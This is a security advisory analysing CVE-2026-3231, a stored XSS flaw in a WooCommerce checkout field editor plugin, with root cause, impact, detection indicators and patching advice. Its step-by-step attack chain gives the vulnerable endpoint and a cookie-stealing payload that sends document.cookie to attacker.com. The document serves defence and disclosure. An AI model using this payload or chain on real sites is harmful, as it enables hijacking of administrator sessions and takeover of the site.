CVE-2026-3231: 
WordPress vulnerability analysis and mitigation

CVE-2026-3231 is a Stored Cross-Site Scripting (XSS) vulnerability in the Checkout Field Editor (Checkout Manager) for WooCommerce plugin for WordPress, developed by ThemeHigh. It affects all versions up to and including 2.1.7 and allows unauthenticated attackers to inject persistent malicious scripts via the WooCommerce Block Checkout Store API. The vulnerability was published on March 11, 2026, and carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, ENISA EUVD).

The root cause (CWE-79) lies in a flawed sanitization chain within the prepare_single_field_data() method in class-thwcfd-block-order-data.php. For radio and checkboxgroup field types, the code first escapes user input with esc_html() but then immediately reverses that escaping by calling html_entity_decode(), effectively nullifying the protection. This is compounded by an overly permissive wp_kses() allowlist in get_allowed_html() that explicitly permits the <select> HTML element along with the onchange event handler attribute, providing a direct vector for script injection. An unauthenticated attacker submits a crafted payload through the WooCommerce Store API checkout endpoint; the malicious script is stored in the order data and executes in the browser of any administrator who subsequently views the order details page (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to store arbitrary JavaScript that executes in the context of an authenticated administrator's browser session when they view the WooCommerce order details page. This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and full site compromise. The changed scope (S:C in CVSS) reflects that the impact extends beyond the plugin itself to the broader WordPress installation and its users (ENISA EUVD, Wordfence).

No authentication is required to exploit this vulnerability, making it accessible to any attacker who can reach the WooCommerce Store API checkout endpoint. The EPSS score is approximately 0.07%, indicating a currently low probability of widespread automated exploitation. No CISA KEV listing or confirmed in-the-wild exploitation campaigns have been reported. A public PoC or exploit reference was noted in a GitHub repository (b1bek/PluginPwn) shortly after disclosure (Wordfence Weekly Report, GitHub PluginPwn).

1. Reconnaissance: Identify WordPress sites running the Checkout Field Editor (Checkout Manager) for WooCommerce plugin version ≤ 2.1.7 using tools like WPScan, Shodan, or by inspecting plugin metadata at /wp-content/plugins/woo-checkout-field-editor-pro/.
2. Identify target fields: Confirm the site uses custom radio or checkboxgroup field types in the WooCommerce Block Checkout by browsing to the checkout page and inspecting the rendered form fields.
3. Craft malicious payload: Construct a payload exploiting the permissive wp_kses() allowlist, for example: <select onchange="document.location='https://attacker.com/steal?c='+document.cookie"><option>Trigger</option></select>.
4. Submit via Store API: Send a POST request to the WooCommerce Block Checkout Store API endpoint (e.g., /wp-json/wc/store/v1/checkout) with the crafted payload injected into the value of a custom radio or checkboxgroup field, completing a fake order submission.
5. Payload persistence: The malicious script is stored in the order metadata in the WordPress database, associated with the newly created order.
6. Trigger execution: Wait for a site administrator to navigate to the WooCommerce order details page in the WordPress admin panel (/wp-admin/post.php?post=<order_id>&action=edit), at which point the stored script executes in their browser context, enabling session hijacking or further administrative actions (Wordfence, WordPress Trac).

• Network: Unusual POST requests to /wp-json/wc/store/v1/checkout containing HTML tags (e.g., <select, onchange=) in field values; outbound requests from administrator browsers to unknown external domains shortly after viewing order pages.
• Logs: WordPress/web server access logs showing POST requests to the Store API checkout endpoint with encoded or raw HTML payloads in the request body; admin-side page views of order detail pages (/wp-admin/post.php?action=edit) correlated with subsequent external HTTP requests.
• Database: WooCommerce order meta entries (wp_postmeta) containing <select>, onchange, or JavaScript event handler strings associated with custom checkout field values.
• File System: Unexpected new plugin or theme files, or modifications to functions.php, that may indicate post-exploitation persistence after admin session compromise.

Users should update the Checkout Field Editor (Checkout Manager) for WooCommerce plugin to a version above 2.1.7 that includes the fix, as referenced in the plugin's SVN changeset (WordPress Trac Changeset). As a temporary workaround, administrators can disable the Block Checkout integration or remove custom radio and checkboxgroup field types until the patch is applied. Web application firewalls (WAFs) with WordPress-aware rulesets (e.g., Wordfence, Sucuri) can help detect and block malicious payloads submitted to the Store API endpoint (Wordfence, Sucuri Roundup).

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for March 9–15, 2026, highlighting the unusual double-sanitization flaw as a notable coding error (Wordfence Weekly Report). Sucuri referenced the vulnerability in their March 2026 patch roundup, advising WooCommerce site operators to prioritize the update (Sucuri Roundup). RedPacketSecurity and several security-focused social media accounts (Mastodon, Bluesky) amplified the CVE alert shortly after publication, contributing to broader community awareness (RedPacketSecurity).